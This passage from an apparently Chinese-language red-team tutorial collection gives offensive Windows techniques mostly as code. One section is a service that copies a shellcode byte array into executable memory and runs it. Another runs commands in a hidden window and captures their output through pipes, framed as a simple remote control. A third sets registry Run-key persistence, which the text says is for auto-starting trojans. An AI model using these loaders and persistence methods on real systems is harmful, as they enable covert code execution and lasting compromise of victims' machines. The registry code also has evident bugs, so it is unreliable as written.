"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
"\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
"\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
"\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
"\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";
// 服务入口函数以及处理回调函数
void __stdcall ServiceMain(DWORD dwArgc, char* lpszArgv);
void __stdcall ServiceCtrlHandle(DWORD dwOperateCode);
BOOL TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress);
void DoTask();

// 全局变量
char g_szServiceName[MAX_PATH] = "ServiceTest.exe";    // 服务名称 
SERVICE_STATUS_HANDLE g_ServiceStatusHandle = { 0 };
BOOL bOnce = FALSE;

int _tmain(int argc, _TCHAR* argv[])
{
	// 注册服务入口函数
	SERVICE_TABLE_ENTRYA stDispatchTable[] = { {g_szServiceName, (LPSERVICE_MAIN_FUNCTIONA)ServiceMain }, { NULL, NULL } };
	StartServiceCtrlDispatcherA(stDispatchTable);

	return 0;
}


void __stdcall ServiceMain(DWORD dwArgc, char* lpszArgv)
{
	g_ServiceStatusHandle = RegisterServiceCtrlHandlerA(g_szServiceName, ServiceCtrlHandle);

	TellSCM(SERVICE_START_PENDING, 0, 1);
	TellSCM(SERVICE_RUNNING, 0, 0);

	// 自己程序实现部分代码放在这里
	// !!注意!! 此处一定要为死循环, 否则在关机再开机的情况(不是点击重启), 不能创建用户进程
	while (TRUE)
	{
		Sleep(5000);
		DoTask();
	}
}


void __stdcall ServiceCtrlHandle(DWORD dwOperateCode)
{
	switch (dwOperateCode)
	{
	case SERVICE_CONTROL_PAUSE:
	{
		// 暂停
		TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
		TellSCM(SERVICE_PAUSED, 0, 0);
		break;
	}
	case SERVICE_CONTROL_CONTINUE:
	{
		// 继续
		TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
		TellSCM(SERVICE_RUNNING, 0, 0);
		break;
	}
	case SERVICE_CONTROL_STOP:
	{
		// 停止
		TellSCM(SERVICE_STOP_PENDING, 0, 1);
		TellSCM(SERVICE_STOPPED, 0, 0);
		break;
	}
	case SERVICE_CONTROL_INTERROGATE:
	{
		// 询问
		break;
	}
	default:
		break;
	}
}

BOOL TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress)
{
	SERVICE_STATUS serviceStatus = { 0 };
	BOOL bRet = FALSE;

	RtlZeroMemory(&serviceStatus, sizeof(serviceStatus));
	serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
	serviceStatus.dwCurrentState = dwState;
	serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
	serviceStatus.dwWin32ExitCode = dwExitCode;
	serviceStatus.dwWaitHint = 3000;

	bRet = SetServiceStatus(g_ServiceStatusHandle, &serviceStatus);
	return bRet;
}

void DoTask()
{

	if (bOnce == FALSE)
	{
		bOnce = TRUE;
		LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		memcpy(Memory, buf, sizeof(buf));
		((void(*)())Memory)();
	}
}
```

github:<https://github.com/idiotc4t/SimpleService.git>

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M7BMu5BrcVx_VIZUPFA%2F-M7BN3YsM3eM22JRXcNM%2Fimage.png?alt=media\&token=f3efa67d-a872-452e-961d-ef5987ba5275)

## LINKS

{% embed url="<https://www.cnblogs.com/lgxZJ/p/7440116.html>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/ad/installing-a-service-on-a-host-computer>" %}

{% embed url="<https://payloads.online/archivers/2020-04-02/1#0x05-%E7%BC%96%E5%86%99%E6%9C%8D%E5%8A%A1%E7%A8%8B%E5%BA%8F>" %}

{% embed url="<https://www.cnblogs.com/hbccdf/p/3491641.html>" %}

{% embed url="<https://medium.com/@nasbench/demystifying-the-svchost-exe-process-and-its-command-line-options-508e9114e747>" %}


# 编写简单远控

## 简介

通常在使用cmd控制台中执行命令，本质上是执行windows目录下的system32\&syswow64内的可执行文件，通常此类操作可以通过winexec，system等函数进行模拟cmd下命令的执行，但是此类命令往往没有回显，这对我们查看命令执行结果造成一些麻烦。

好在windows提供了一种在进程间共享数据的机制，我们称其为管道(pipe)，在windows中其实质是一段共享内存，windows为这段内存设计使用数据流I/O的方式来进行访问。

管道具体又分为匿名管道和命名管道，匿名管道只能用于父子进程之间的数据通信，不能在网络中通信，同时数据传输时单项的，只能一端读，一端写。命名管道则可以在任意进程和网络间通信，且数据是双向的，但同一时间只能一端读一端写。

在windows操作系统提供的createprocess函数可以可以指定程序运行结果存储的缓冲区，如果我们把这个缓冲区指定成匿名管道的写入端，那么我们就能在父进程内进行对执行结果的读取。

## 流程

1. 创建匿名管道
2. 创建STARTUPINFO结构体
3. 创建进程
4. 等待执行结束
5. 读取缓冲区

## 代码实现

```
#include<Windows.h>
#include<stdio.h>

int main() {

	SECURITY_ATTRIBUTES se = { 0 };
	se.bInheritHandle = TRUE;//描述的对象可以被继承
	se.nLength = sizeof(se);
	se.lpSecurityDescriptor = NULL;


	HANDLE hWPipe=NULL;
	HANDLE hRPipe=NULL;

	CreatePipe(&hRPipe, &hWPipe, &se, NULL);


	STARTUPINFOA si = { 0 };
	si.cb = sizeof(si);
	si.hStdError = hWPipe;
	si.hStdOutput = hWPipe;
	si.wShowWindow = SW_HIDE;//隐藏窗口

	si.dwFlags = STARTF_USESHOWWINDOW //启用wShowWindow成员
			   | STARTF_USESTDHANDLES;//启用hStdOutput，hStdError和hStdInput成员

	PROCESS_INFORMATION pi = { 0 };

	CreateProcessA(NULL, (LPSTR)"systeminfo", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
	
	WaitForSingleObject(pi.hProcess, INFINITE);
	WaitForSingleObject(pi.hThread,INFINITE);

	LPVOID lpBuffer[4096] = { 0 };

	ReadFile(hRPipe, lpBuffer, 4096, NULL, NULL);


	printf("%s", lpBuffer);

	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	CloseHandle(hWPipe);
	CloseHandle(hRPipe);

	return 0;

}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5U_df1zkPfPC2VTDEN%2F-M5U_xA-_Nk_exbHdAHD%2Fimage.png?alt=media\&token=35aabc53-7a05-40ac-995a-237c09ed0321)

## LINKS

{% embed url="<https://docs.microsoft.com/zh-cn/?view=vs-2019>" %}


# 注册表自启动项

## 简介

为了便于使用，操作系统通常会提供开机自启动功能，这样能方便用户不用人为的去运行程序就能自己运行起来，由于开机自启动的特殊性，此类功能也往往是红蓝对抗重点博弈的地方。

本文将介绍如通过注册表项实现病毒木马自启动。

## 流程

1. 打开自启动键
2. 写入自启动键

由于windows提供了专门的开机启动注册表项，每次开机操作系统都会遍历这个注册表项下的键值对，获取并创建进程，所以我们只需要添加这个注册表项就能实现自启动。

这里给出两个表项，他们的最主要的区别就是主键写入权限的不同。

PS：32位程序往64位注册表内写入数据时会发生重定位。

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

## 代码实现

由于通过cmd添加键值的方式已被众所周知，这里只给出c实现的代码。

```


#include <Windows.h>
#include <stdio.h>

BOOL SetKeyValue(PCHAR lpszFileName, PCHAR lpszKeyValue,CHAR cType) {
	HKEY hKey=NULL;
	PCHAR KeyAddr=NULL;
	switch (cType)
	{
	case 1:
		KeyAddr = (PCHAR)"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run";
		break;
	case 2:
		KeyAddr = (PCHAR)"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
		break;
	case 3:
		break;

	}

	if (ERROR_SUCCESS!=RegOpenKeyEx(HKEY_CURRENT_USER,KeyAddr,0,KEY_WRITE,&hKey))
	{
		return FALSE;
	}
	if (ERROR_SUCCESS!= RegSetValueEx(hKey,lpszKeyValue,0,REG_SZ,(PBYTE)lpszFileName,1+strlen(lpszFileName)))
	{
		RegCloseKey(hKey);
		return FALSE;
	}
	RegCloseKey(hKey);
}

int  main()
{	
	if (FALSE == SetKeyValue((PCHAR)"C:\\Windows\\System32\\cmd.exe", (PCHAR)"cmd",1))
	{
		printf("ok");
	}
	return 0;
}

```

## LINKS

{% embed url="<https://docs.microsoft.com/zh-cn/?view=vs-2019>" %}


